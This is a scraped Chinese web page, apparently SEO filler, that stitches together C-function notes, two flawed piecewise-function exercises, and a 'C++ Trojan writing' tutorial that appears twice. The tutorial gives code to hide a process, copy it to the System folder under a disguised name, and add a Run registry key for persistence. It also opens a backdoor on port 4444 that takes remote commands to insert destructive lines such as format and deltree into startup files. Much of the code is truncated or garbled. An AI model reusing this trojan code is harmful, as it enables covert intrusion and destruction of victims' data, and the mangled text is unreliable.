C語言函數(shù)的運用及調用
目前成都創(chuàng)新互聯(lián)已為千余家的企業(yè)提供了網(wǎng)站建設、域名、虛擬空間、網(wǎng)站托管運營、企業(yè)網(wǎng)站設計、清徐網(wǎng)站維護等服務,公司將堅持客戶導向、應用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。
1.當程序變得越來越復雜的時候,我們可以使用函數(shù)進行完成任務,并不再是進行編寫。
2.C語言本身就具有豐富的庫函數(shù):
目錄路徑函數(shù)
字符類型分類函數(shù)
內存管理函數(shù)
數(shù)學函數(shù)
進程控制函數(shù)
日期和時間函數(shù)
接口函數(shù)
輸入輸出函數(shù)
圖形函數(shù)
診斷函數(shù)
3.每一種函數(shù)都有它的作用,在需要使用時,直接進行調用就可以了。
4.函數(shù)分為有參和無參函數(shù)。
參數(shù)可以分為形參與實參。
形參在函數(shù)內,而實參在函數(shù)外。
形參直接使用,而實參在函數(shù)外調用。
5. 函數(shù)的值只能通過return語句返回主調函數(shù)。
6.在函數(shù)內有局部變量和全局變量兩種,局部變量在函數(shù)內使用,而全局變量可在函數(shù)中使用。
7.從變量作用域可以劃分全局,而在變量的生存期可以分為靜態(tài)與動態(tài)存儲方式。
固定的存儲空間與運行時分配的存儲空間方式還是有所不同的。
auto聲明自動變量,自動變量用關鍵字作存儲類別的聲明,在函數(shù)調用結束將會自動釋放這些存儲空間。
static可以聲明局部變量,在函數(shù)調用結束之后不消失而保留原值。
8.register可以聲明局部變量,在函數(shù)調用時為了提高效率,可以寄存在CPU的寄存器中。
extern可以聲明局部變量,擴展程序文件中的作用域。
C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發(fā)工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網(wǎng)上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態(tài)鏈接庫??Msvbvm60.dll嗎?
啟動C++Builder 5.0企業(yè)版,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現(xiàn)的,后來微軟將它引入了Windows中(包括Win98和WinNt);后兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協(xié)議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協(xié)議)功能,大家一看都知道是使軟件具有上傳下載功能和發(fā)郵件功能的控件。
form窗體是可視的,這當然是不可思議的。不光占去了大量的空間(光一個form就有300K之大),而且使軟件可見,根本沒什么作用。因此實際寫木馬時可以用一些技巧使程序不包含form,就像Delphi用過程實現(xiàn)的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊form,首先在formCreate事件中添加可使木馬在Win9x的“關閉程序”對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的后臺進程,它可以運行在較高的優(yōu)先級下,可以說是非??拷到y(tǒng)核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程數(shù)據(jù)庫中用RegisterServiceProcess()函數(shù)注冊成服務進程(Service Process)就可以了。不過該函數(shù)的聲明在Borland預先打包的頭文件中沒有,那么我們只好自己來聲明這個位于KERNEL32.DLL中的鳥函數(shù)了。
首先判斷目標機的操作系統(tǒng)是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統(tǒng)的版本號
if (dwVersion = 0x80000000)
// 操作系統(tǒng)是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數(shù)的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//加載RegisterServiceProcess()函數(shù)所在的動態(tài)鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函數(shù)的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執(zhí)行RegisterServiceProcess()函數(shù),隱藏本進程
FreeLibrary(hDLL);
//卸載動態(tài)鏈接庫
}
}
這樣就終于可以隱身了(害我敲了這么多代碼!)。為什么要判斷操作系統(tǒng)呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到后面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,并修改注冊表,以便啟動時自動加載:
{
char TempPath[MAX_PATH];
//定義一個變量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區(qū)的地址,MAX_PATH是緩沖區(qū)的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成為能供編譯器使用的樣式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//將自己拷貝到%System%目錄下,并改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,準備修改注冊表,這一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
egistry-OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創(chuàng)建之
try
{
//如果以下語句發(fā)生異常,跳至catch,以避免程序崩潰
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有“crossbow”字樣的鍵值,并且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什么也不做
}
}
好,formCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,并且在“關閉程序”對話框中看不見本進程了,木馬的雛形初現(xiàn)。
接著選中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定端口,處于服務器工作狀態(tài)。再將Port填入4444,這是木馬的端口號,當然你也可以用別的。但是你要注意不要用1024以下的低端端口,因為這樣不但可能會與基本網(wǎng)絡協(xié)議使用的端口相沖突,而且很容易被發(fā)覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術,它故意使用特定端口,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控件使用的端口,是21號端口,這是FTP協(xié)議的專用控制端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協(xié)議的專用端口。
再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變量
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket-ReceiveText();
//接收客戶端(攻擊者,也就是你自己)傳來的數(shù)據(jù)
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字符串的前9個字符是“edit conf”
{
int number=temp.Length();
//得到字符串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
//將第11個字符轉換成integer型,存入file_name變量
//為什么要取第11個字符,因為第10個字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
//余下的字符串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
"c:\\autoexec.bat);
//如果第11個字符是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11個字符是1,就把Config.sys格式化
times_of_try=0;
//定義計數(shù)器
while(fp==NULL)
{
//如果指針是空
fp=fopen(filename,"a+);
//如果文件不存在,創(chuàng)建之;如果存在,準備在其后添加
//如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
//計數(shù)器加1
if(times_of_try100)
{
//如果已經(jīng)試了100次了,仍未成功
Socket-SendText("Fail By Open File);
//就發(fā)回“Fail By Open File”的錯誤信息
goto END;
//跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
//寫完后關閉目標文件
Socket-SendText("Sucess);
//然后發(fā)回“Success”的成功信息
}C++編寫木馬全過程
首先是編程工具的選擇。目前流行的開發(fā)工具有C++Builder、VC、VB和Delphi,這里我們選用C++Builder(以下簡稱BCB);VC雖然好,但GUI設計太復雜,為了更好地突出我的例子,集中注意力在木馬的基本原理上,我們選用可視化的BCB;Delphi也不錯,但缺陷是不能繼承已有的資源(如“死牛崇拜”黑客小組公布的BO2000源代碼,是VC編寫的,網(wǎng)上俯拾皆是);VB嘛,談都不談??難道你還給受害者傳一個1兆多的動態(tài)鏈接庫??Msvbvm60.dll嗎?
啟動C++Builder 5.0企業(yè)版,新建一個工程,添加三個VCL控件:一個是Internet頁中的Server Socket,另兩個是Fastnet頁中的NMFTP和NMSMTP。Server Socket的功能是用來使本程序變成一個服務器程序,可以對外服務(對攻擊者敞開大門)。Socket最初是在Unix上出現(xiàn)的,后來微軟將它引入了Windows中(包括Win98和WinNt);后兩個控件的作用是用來使程序具有FTP(File Transfer Protocol文件傳輸協(xié)議)和SMTP(Simple Mail Transfer Protocol簡單郵件傳輸協(xié)議)功能,大家一看都知道是使軟件具有上傳下載功能和發(fā)郵件功能的控件。
form窗體是可視的,這當然是不可思議的。不光占去了大量的空間(光一個form就有300K之大),而且使軟件可見,根本沒什么作用。因此實際寫木馬時可以用一些技巧使程序不包含form,就像Delphi用過程實現(xiàn)的小程序一般只有17K左右那樣。
我們首先應該讓我們的程序能夠隱身。雙擊form,首先在formCreate事件中添加可使木馬在Win9x的“關閉程序”對話框中隱藏的代碼。這看起來很神秘,其實說穿了不過是一種被稱之為Service的后臺進程,它可以運行在較高的優(yōu)先級下,可以說是非??拷到y(tǒng)核心的設備驅動程序中的那一種。因此,只要將我們的程序在進程數(shù)據(jù)庫中用RegisterServiceProcess()函數(shù)注冊成服務進程(Service Process)就可以了。不過該函數(shù)的聲明在Borland預先打包的頭文件中沒有,那么我們只好自己來聲明這個位于KERNEL32.DLL中的鳥函數(shù)了。
首先判斷目標機的操作系統(tǒng)是Win9x還是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系統(tǒng)的版本號
if (dwVersion = 0x80000000)
// 操作系統(tǒng)是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定義RegisterServiceProcess()函數(shù)的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32);
//加載RegisterServiceProcess()函數(shù)所在的動態(tài)鏈接庫KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess);
//得到RegisterServiceProcess()函數(shù)的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//執(zhí)行RegisterServiceProcess()函數(shù),隱藏本進程
FreeLibrary(hDLL);
//卸載動態(tài)鏈接庫
}
}
這樣就終于可以隱身了(害我敲了這么多代碼!)。為什么要判斷操作系統(tǒng)呢?因為WinNt中的進程管理器可以對當前進程一覽無余,因此沒必要在WinNt下也使用以上代碼(不過你可以使用其他的方法,這個留到后面再講)。
接著再將自己拷貝一份到%System%目錄下,例如:C:\Windows\System,并修改注冊表,以便啟動時自動加載:
{
char TempPath[MAX_PATH];
//定義一個變量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄緩沖區(qū)的地址,MAX_PATH是緩沖區(qū)的大小,得到目標機的System目錄路徑
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成為能供編譯器使用的樣式
opyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe).c_str() ,FALSE);
//將自己拷貝到%System%目錄下,并改名為Tapi32.exe,偽裝起來
Registry=new TRegistry;
//定義一個TRegistry對象,準備修改注冊表,這一步必不可少
Registry-RootKey=HKEY_LOCAL_MACHINE;
//設置主鍵為HKEY_LOCAL_MACHINE
egistry-OpenKey("Software\\Microsoft\\Windows\\
CurrentVersion\\Run,TRUE);
//打開鍵值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就創(chuàng)建之
try
{
//如果以下語句發(fā)生異常,跳至catch,以避免程序崩潰
!=SystemPath+"\\Tapi32.exe)
SystemPath+"\\Tapi32.exe);
//查找是否有“crossbow”字樣的鍵值,并且是否為拷貝的目錄%System%+Tapi32.exe
//如果不是,就寫入以上鍵值和內容
}
catch(...)
{
//如果有錯誤,什么也不做
}
}
好,formCreate過程完成了,這樣每次啟動都可以自動加載Tapi32.exe,并且在“關閉程序”對話框中看不見本進程了,木馬的雛形初現(xiàn)。
接著選中ServerSocket控件,在左邊的Object Inspector中將Active改為true,這樣程序一啟動就打開特定端口,處于服務器工作狀態(tài)。再將Port填入4444,這是木馬的端口號,當然你也可以用別的。但是你要注意不要用1024以下的低端端口,因為這樣不但可能會與基本網(wǎng)絡協(xié)議使用的端口相沖突,而且很容易被發(fā)覺,因此盡量使用1024以上的高端端口(不過也有這樣一種技術,它故意使用特定端口,因為如果引起沖突,Windows也不會報錯 ^_^)。你可以看一看TNMFTP控件使用的端口,是21號端口,這是FTP協(xié)議的專用控制端口(FTP Control Port);同理TNMSMTP的25號端口也是SMTP協(xié)議的專用端口。
再選中ServerSocket控件,點擊Events頁,雙擊OnClientRead事件,敲入以下代碼:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定義了一堆待會兒要用到的變量
AnsiString(SystemPath+AnsiString("\\Win369.BAT)).c_str());
//在%System%下建立一個文本文件Win369.bat,作為臨時文件使用
AnsiString temp=Socket-ReceiveText();
//接收客戶端(攻擊者,也就是你自己)傳來的數(shù)據(jù)
}
好,大門敞開了!接著就是修改目標機的各種配置了!^_^ 首先我們來修改Autoexec.bat和Config.sys吧:
{
f(temp.SubString(0,9)=="edit conf)
//如果接受到的字符串的前9個字符是“edit conf”
{
int number=temp.Length();
//得到字符串的長度
int file_name=atoi((temp.SubString(11,1)).c_str());
//將第11個字符轉換成integer型,存入file_name變量
//為什么要取第11個字符,因為第10個字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
//余下的字符串將被作為寫入的內容寫入目標文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat,S_IREAD|S_IWRITE);
chmod("c:\\config.sys,S_IREAD|S_IWRITE);
//將兩個目標文件的屬性改為可讀可寫
if(file_name==1)
"c:\\autoexec.bat);
//如果第11個字符是1,就把Autoexec.bat格式化
else if(file_name==2)
"c:\\config.sys);
//如果第11個字符是1,就把Config.sys格式化
times_of_try=0;
//定義計數(shù)器
while(fp==NULL)
{
//如果指針是空
fp=fopen(filename,"a+);
//如果文件不存在,創(chuàng)建之;如果存在,準備在其后添加
//如果出錯,文件指針為空,這樣就會重復
times_of_try=times_of_try+1;
//計數(shù)器加1
if(times_of_try100)
{
//如果已經(jīng)試了100次了,仍未成功
Socket-SendText("Fail By Open File);
//就發(fā)回“Fail By Open File”的錯誤信息
goto END;
//跳至END處
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//寫入添加的語句,例如deltree/y C:或者format/q/autotest C:,夠毒吧?!
fclose(fp);
//寫完后關閉目標文件
Socket-SendText("Sucess);
//然后發(fā)回“Success”的成功信息
}
#include
int?main()
{
int?x,y;
scanf("%d",x);
if(0xx10)?y=3*x+2;
else
{if(x=0)?y=0;
else
{if?(x0)?y=x*x;
else?printf("go?die\n");
}
}
printf("%d",y);
return?0;
}該程序的分段函數(shù)如下:
f(x)=3x+2? (0x10)
f(x)=1???????? (x=0)
f(x)?=?x*x??? (x0)
#include stdio.h
#include math.h
void main()
{
float x;
double y;
printf("Please input the value of x:");
scanf("%f",x);
if(x=-10x=4)
{
y=fabs(x-2);
printf("y=%.2f\n",y);
}
else if(x=5x=7)
{
y=x+10;
printf("y=%.2f\n",y);
}
else if(x=8x=12)
{
y=pow(x,4);
printf("y=%.2f\n",y);
}
else
printf("No answer\n");
}
本文名稱:c語言函數(shù)設計使用環(huán)境,C語言 開發(fā)環(huán)境
本文路徑:http://chinadenli.net/article36/hdoopg.html
成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站策劃、網(wǎng)站制作、外貿(mào)網(wǎng)站建設、域名注冊、企業(yè)建站、搜索引擎優(yōu)化
聲明:本網(wǎng)站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經(jīng)允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯(lián)